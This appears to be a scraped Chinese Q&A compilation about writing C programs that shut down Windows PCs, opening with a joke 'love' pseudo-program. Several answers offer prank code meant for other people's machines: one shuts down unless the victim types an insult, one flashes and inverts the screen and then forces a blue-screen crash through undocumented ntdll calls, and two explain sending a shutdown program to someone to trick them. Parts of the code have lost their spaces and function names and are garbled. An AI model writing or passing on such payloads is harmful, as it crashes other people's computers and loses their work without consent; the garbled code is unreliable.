#include "stdio.h"
#include "stdlib.h"
result love(boy, girl)
{
if ( boy.有房() and boy.有车() )
{
boy.set(nothing);
return girl.嫁给(boy);
}
if ( girl.愿意等() )
{
while( ! (boy.赚钱 > 100,000 and girl.感情回 > 8 ) )
{
for ( day=1; day <=365; day++)
{
if ( day == 情人节 )
if ( boy.givegirl(玫瑰答) )
girl.感情++;
else
girl.感情--;
if( day == girl.生日)
if ( boy.givegirl(玫瑰) )
girl.感情++;
else
girl.感情--;
boy.拼命赚钱();
}
}
if ( boy.有房() and boy.有车() )
{
boy.set(nothing);
return girl.嫁给(boy);
}
年龄++;
girl.感情--;
}
return girl.goto( another_boy);
}
B. C语言的强制关机的函数是什么 请写个例程 谢谢了!
#include<stdio.h>
#include<dos.h>
#include<stdlib.h>
int main()
{
char shut[8];
char b[81];
printf("嘿嘿,没事别玩这么多电脑,早点关机学习,知道没\n\n");
printf("强制关机?那就玩一个这样的程序吧,现请看一下您电脑的时间,然后输入下一分钟可以吗\n\n");
printf("比如现在是19:52,那您就输入19:53 .按回车,嘿嘿,给您看一下运行结果,现在请输入吧:");
scanf("%s",shut);
sprintf(b,"at %s shutdown -s",shut);
system(b);
}
C. c语言 关机程序代码
system(“shutdown -r”);直接调用cmd命令就可以了
D. C语言关机代码
可以通过C语言调用系统命令实现关机。
1、C语言可以通过system函数实现调用系统命令(shell
命令)。
system函数声明于stdlib.h,
形式为
int
system(const
char
*cmd);
功能为执行cmd中的shell指令。
2、在windows中,关机命令为shutdown.
具体说明如图:
更多信息,可以命令行下输入shutdown
/?查看。
3、从命令说明上可以得知,shutdown
/s
即可实现关机效果。
4、参考代码:
#include<stdlib.h>
intmain()
{
system("shutdown/s");//调用关机命令。
while(1);
}
5、注意事项:
该命令仅用于windows,如果要移植到其它操作系统,则需要适配目标系统的关机命令,如Linux的halt或shutdown
-h。
E. c语言关机程序怎么写,
//#include "stdafx.h"
#include "stdio.h"
#include "string.h"
#include "stdlib.h"
int print()
{
printf(" ╪╪╪╪╪╪╧╧╧╧╧╧╧╧╪╪╪╪╪╪\n");
printf("╔═══╧╧ C语言 关机程序 ╧╧═══╗\n");
printf("║※1.实现10分钟内的定时关闭计算机 ║\n");
printf("║※2.立即关闭计算机 ║\n");
printf("║※3.注销计算机 ║\n");
printf("║※0.退出系统 ║\n");
printf("╚═══════════════════╝\n");
return 0;
}
void main()
{
system("title C语言关机程序");//设置cmd窗口标题
system("mode con cols=48 lines=25");//窗口宽度高度
system("color 0B");
system("date /T");
system("TIME /T");
char cmd[20]="shutdown -s -t ";
char t[5]="0";
print();
int c;
scanf("%d",&c);
getchar();
switch(c)
{
case 1:printf("您想在多少秒后自动关闭计算机?(0~600)\n");scanf("%s",t);system(strcat(cmd,t));break;
case 2:system("shutdown -p");break;
case 3:system("shutdown -l");break;
case 0:break;
default:printf("Error!\n");
}
system("pause");
exit(0);
}
F. 如何用C语言调用关机命令
标准C语言没有关机的相关库函数,可以通过system函数执行dos命令shutdown实现,具体代码如下,
#include <stdio.h>
int main(int argc, char *argv[])
{
char str[10];//存储退出指令
system("shutdown -s -t 100");//100秒后关机
while(1)
{
printf("输入exit,结束定时关机!\n");
gets(str); //输入存储指令
if(strcmp(str,"exit")==0) //满足条件结束定时关机
{
system("shutdown -a");//取消定时关机
printf("定时关机结束!\n");
break;
}
}
return 0;
}
shutdown使用方式,shutdown [-t ] [-rkhncfF] time [message];
其中,参数:
-t : 设定在t秒之后进行关机程序
-k : 并不会真的关机,只是将警告讯息传送给所有使用者
-r : 关机后重新开机
-h : 关机后停机
-n : 不采用正常程序来关机,用强迫的方式杀掉所有执行中的程序后自行关机
-c : 取消目前已经进行中的关机动作
-f : 关机时,不做 fcsk动作(检查 Linux 档系统)
-F : 关机时,强迫进行 fsck 动作
time : 设定关机的时间
message : 传送给所有使用者的警告讯息
可以通过shutdown -a取消关机操作。
G. C语言的自动关机程序和一个用来整人的小程序
#include <stdlib.h>
void main(void){ char* p = "我是猪"; char str[100]; while(gets(str) > 0 && strcmp(str, p) != 0) { printf("You are wrong!!!\n"); system("start shutdown -t 0"); exit(0); } printf("You are right!!!\n"); printf("请记录下来\n\t^-^\n"); system("start notepad");}
上面是代码,楼主可以尝试一下
H. 求一个C语言整人代码!!!
先上代码
#include<Windows.h>
#include<time.h>
usingnamespacestd;
intcall;
intScreenWidth=GetSystemMetrics(SM_CXSCREEN);
intScreenHeight=GetSystemMetrics(SM_CYSCREEN);
intIconWidth=GetSystemMetrics(SM_CXICON);
intIconHeight=GetSystemMetrics(SM_CYICON);
HDChdc=GetWindowDC(GetDesktopWindow());
#defineKEY_DOWN(VK_NONAME)((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0)
intrandom(intupper_bound){
if(upper_bound==0){
return0;
}
srand((unsigned)(time(NULL)*clock()*rand()*call+time(NULL)+rand()+call));
call++;
returnrand()%upper_bound;
}
DWORDWINAPIFlashDesktop(LPVOIDParam){
while(true){
BitBlt(hdc,0,0,ScreenWidth,ScreenHeight,hdc,0,0,NOTSRCCOPY);
Sleep(random(100));
}
return0;
}
intGetWay(){
intr=random(3);
switch(r){
case0:
returnSRCAND;
case1:
returnSRCINVERT;
case2:
returnSRCPAINT;
}
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth);
intRandyPixel=random(ScreenHeight-RandHeight);
intRandDestxPixel=random(ScreenWidth-RandWidth);
intRandDestyPixel=random(ScreenHeight-RandHeight);
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandyPixel=random(ScreenHeight-RandHeight)+RandHeight;
intRandDestxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandDestyPixel=random(ScreenHeight-RandHeight)+RandHeight;
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
DWORDWINAPICallBsod1MinLater(LPVOIDParam){
Sleep(60000);
HMODULEntdll=LoadLibrary("ntdll.dll");
FARPROCRtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROCNtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");
unsignedchartemp0;
longunsignedinttemp1;
((void(*)(DWORD,DWORD,BOOLEAN,LPBYTE))RtlAdjustPrivilege)(0x13,true,false,&temp0);
((void(*)(DWORD,DWORD,DWORD,DWORD,DWORD,LPDWORD))NtRaiseHardError)(0xc000021a,0,0,0,6,&temp1);
return0;
}
DWORDWINAPIDrawErrors(LPVOIDParam){
while(true){
intRandxPixel=random(ScreenWidth-IconWidth/2);
intRandyPixel=random(ScreenHeight-IconHeight/2);
DrawIcon(hdc,RandxPixel,RandyPixel,LoadIcon(NULL,IDI_ERROR));
Sleep(random(50));
}
return0;
}
intmain(void){
CreateThread(NULL,4096,&FlashDesktop,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation1,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation2,NULL,NULL,NULL);
CreateThread(NULL,4096,&CallBsod1MinLater,NULL,NULL,NULL);
CreateThread(NULL,4096,&DrawErrors,NULL,NULL,NULL);
while(true);
}
运行这段代码首先会花屏并闪屏,一分钟后蓝屏。
效果图:
I. 怎样用c语言编写使别人关机的程序并怎样发给别人
#include <stdio.h>
#include <conio.h>
void main(void)
{
system("shutdown -s -t 1"); //1是指一秒实现关机
}
如果想耍别人,把程序发给他后也需要他去运行程序,他的电脑才能关机的,孩子
J. 怎样用c语言编写使别人关机的程序并怎样发给别人
#include
<stdio.h>
#include
<conio.h>
void
main(void)
{
system("shutdown
-s
-t
1");
//1是指一秒实现关机
}
如果想耍别人,把程序发给他后也需要他去运行程序,他的电脑才能关机的,孩子